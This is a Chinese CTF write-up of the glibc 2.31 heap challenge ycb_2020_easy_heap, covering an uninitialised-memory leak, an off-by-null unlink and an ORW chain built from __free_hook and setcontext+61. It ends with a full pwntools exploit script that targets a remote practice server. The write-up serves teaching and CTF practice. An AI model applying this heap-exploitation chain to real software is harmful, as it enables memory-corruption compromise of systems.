未初始化内存导致的地址泄露
高版本下的off-by-null
利用
glibc2.31
下的orw
做法
非常综合的一道题目,和ciscn
之前做过的一道silverwolf
很相似,本道题目的glibc2.31
的环境也让我这个只做过glibc2.27
下的学到了很多。
分析程序,开启了沙盒,只禁用了execve
。
存在一个off-by-null
可以利用。此外本题是add
和edit
分开的,而且没有对申请到的内存清零,那么可以直接泄露想要的libc
和heap
地址。
这道题目我认为可以分为三个部分,每一个部分都非常有意思:
libc
地址和堆地址:off-by-null
来获得重叠指针setcontext+61
和一个rdx
的gadget
结合使用,来orw
读取flag
这里我不会直接分析这个题目的做法,因为我认为这个题的每个部分对于刚接触这部分知识的师傅们有难度,但是熟悉了就比较白给,因此我会略微介绍每个部分的知识点,并放上参考文章,主要针对off-by-null
和orw
。
假如师傅们有疑问,欢迎私信我: )。
构造如下图所示:
可能比较难以理解,我们详细、分步地解释:
注意,若我没有写对某个堆块free
,那么它没有被free
。此外,我们需要提前泄露堆地址,保证每个堆块地址可知。
我们有三个chunk
,分别是chunk1
、chunk2
、chunk3
,其中chunk3
是个large chunk
,大小为0x500
,另外两个为大小为0x30
的chunk
。
chunk2
写chunk3
的prev_size
等于0x50
,并off-by-null
将chunk3
的prev_in_use
置为0
。unlink
我们需要知道一个指向合并后堆块的指针,那么我们在chunk2
中写一个合并后堆块的地址,也就是在addr2
处写一个addr1
。chunk1
中构造fake chunk
,fake chunk
的size
为fake chunk + chunk2
的大小,这里为0x51
fake chunk
的fd
为addr2-0x18
,而bk
为addr2-0x10
,因为addr2
存放的是它自己的地址,是个指向它自己的指针,绕过unlink
安全检查。free
掉chunk3
,此时通过chunk3
的prev_size
来找到fake chunk
,将fake chunk
进行unlink
,从而导致chunk1-3
合并为一个。glibc2.29
下,从tcache
中获得chunk
还会检查对应tcache bin
的count
是否大于0
,大于0
才可以申请。因此需要事先释放一个对应大小的chunk
。chunk
会合并到fake chunk
的位置而不是chunk1
的位置。申请回一个大于fake chunk + chunk1
大小的chunk
,即可编辑chunk2
,获得了chunk2
的重叠指针。参考文章:
高版本libc下的off by null_glibc高版本offbynull模板-CSDN博客
【八芒星计划】 OFF BY NULL_balsn_ctf_2019-plaintext-CSDN博客
BUUCTF\ ycb_2020_easy_heap - LynneHuan - 博客园 (cnblogs.com)
【八芒星计划】 ORW-CSDN博客
setcontext+orw - 狒猩橙 - 博客园 (cnblogs.com)
[原创]CISCN2021 sliverwolf PWN400-Pwn-看雪-安全社区|安全招聘|kanxue.com****
from pwn import *
from LibcSearcher import *
filename = './ycb_2020_easy_heap'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
libc = elf.libc
if local:
sh = process(filename)
else:
sh = remote('node5.buuoj.cn', 28219)
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
choice_words = 'Choice:'
menu_add = 1
add_index_words = ''
add_size_words = 'Size: '
add_content_words = ''
menu_del = 3
del_index_words = 'Index: '
menu_show = 4
show_index_words = 'Index: '
menu_edit = 2
edit_index_words = 'Index: '
edit_size_words = ''
edit_content_words = 'Content: \n'
def add(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_add))
if add_index_words:
sh.sendlineafter(add_index_words, str(index))
if add_size_words:
sh.sendlineafter(add_size_words, str(size))
if add_content_words:
sh.sendafter(add_content_words, content)
def delete(index=-1):
sh.sendlineafter(choice_words, str(menu_del))
if del_index_words:
sh.sendlineafter(del_index_words, str(index))
def show(index=-1):
sh.sendlineafter(choice_words, str(menu_show))
if show_index_words:
sh.sendlineafter(show_index_words, str(index))
def edit(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_edit))
if edit_index_words:
sh.sendlineafter(edit_index_words, str(index))
if edit_size_words:
sh.sendlineafter(edit_size_words, str(size))
if edit_content_words:
sh.sendafter(edit_content_words, content)
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
# -- 第一部分,泄露堆地址和libc地址 --
add(size=0x20) # 0
add(size=0x20) # 1
delete(index=0)
delete(index=1)
add(size=0x20) # 0
show(index=0)
sh.recvuntil('Content: ')
heap_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('heap_leak', heap_leak)
heap_base = heap_leak - 0x2a0
leak_info('heap_base', heap_base)
add(size=0x20) # 1
add(size=0x450) # 2
add(size=0x20) # 3
delete(index=2)
add(size=0x450) # 2
show(index=2)
sh.recvuntil('Content: ')
libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('libc_leak', libc_leak)
libc.address = libc_leak - 0x1eabe0
leak_info('libc.address', libc.address)
# -- 第二部分,通过off-by-null构造unlink --
add(size=0x28) # 4
add(size=0x28) # 5
add(size=0x4f0) # 6
add(size=0x20) # 7
fake_chunk_addr = heap_base + 0x790
merge_addr = heap_base + 0x7c0
payload = p64(0) + p64(0x51) + p64(merge_addr - 0x18) + p64(merge_addr - 0x10)
edit(index=4, content=payload)
payload = p64(fake_chunk_addr).ljust(0x20, b'\x00') + p64(0x50)
edit(index=5, content=payload)
delete(index=7) # 提前释放一个大小为0x30的chunk,因为glibc2.30中不允许tcache的count为0时从tcache中申请chunk
delete(index=6) # 触发off-by-null的unlink
# -- 第三部分,重新申请回chunk,构造重叠指针,利用重叠指针修改free_hook为rdx的gadget,然后布置一系列堆块备用
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
add(size=0x100) # 6
payload = b'a'*0x18 + p64(0x31)
edit(index=6, content=payload)
delete(index=5)
payload = b'a'*0x18 + p64(0x31) + p64(libc.sym['__free_hook'])
edit(index=6, content=payload)
add(size=0x28) # 5
add(size=0x28) # 7, free_hook
add(size=0x430) # 8
add(size=0xf0) # 9
add(size=0xf0) # 10
# -- 第四部分,将free_hook设置为这个gadget,通过这个gadget将rdx设置为另一个堆块地址,另一个堆块地址存放各个寄存器的值,同时rip设置为setcontext+61
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget_addr = libc.address + 0x154b90
orw_addr = heap_base + 0x8b0
setcontext = libc.sym['setcontext'] + 61
delete_chunk_addr = heap_base + 0xd20
set_chunk_addr = heap_base + 0xe20
ret_addr = libc.address + 0xbfb1b
edit(index=7, content=p64(gadget_addr))
edit(index=5, content=b'/flag\x00')
payload = p64(0) + p64(set_chunk_addr)
edit(index=9, content=payload)
payload = b'\x00'.ljust(0x20, b'\x00') + p64(setcontext)
payload = payload.ljust(0xa0, b'\x00') + p64(orw_addr) + p64(ret_addr)
edit(index=10, content=payload)
pop_rax = 0x28ff4 + libc.address
pop_rdi = 0x26bb2 + libc.address
pop_rsi = 0x2709c + libc.address
pop_rdx_r12 = 0x11c421 + libc.address
syscall_addr_ret = 0x66199 + libc.address
str_flag_addr = heap_base + 0x7c0
orw = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(str_flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0)*2 + p64(syscall_addr_ret)
orw += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(str_flag_addr) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(syscall_addr_ret)
orw += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(str_flag_addr) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(syscall_addr_ret)
edit(index=8, content=orw)
delete(index=9)
print(sh.recv().strip().decode())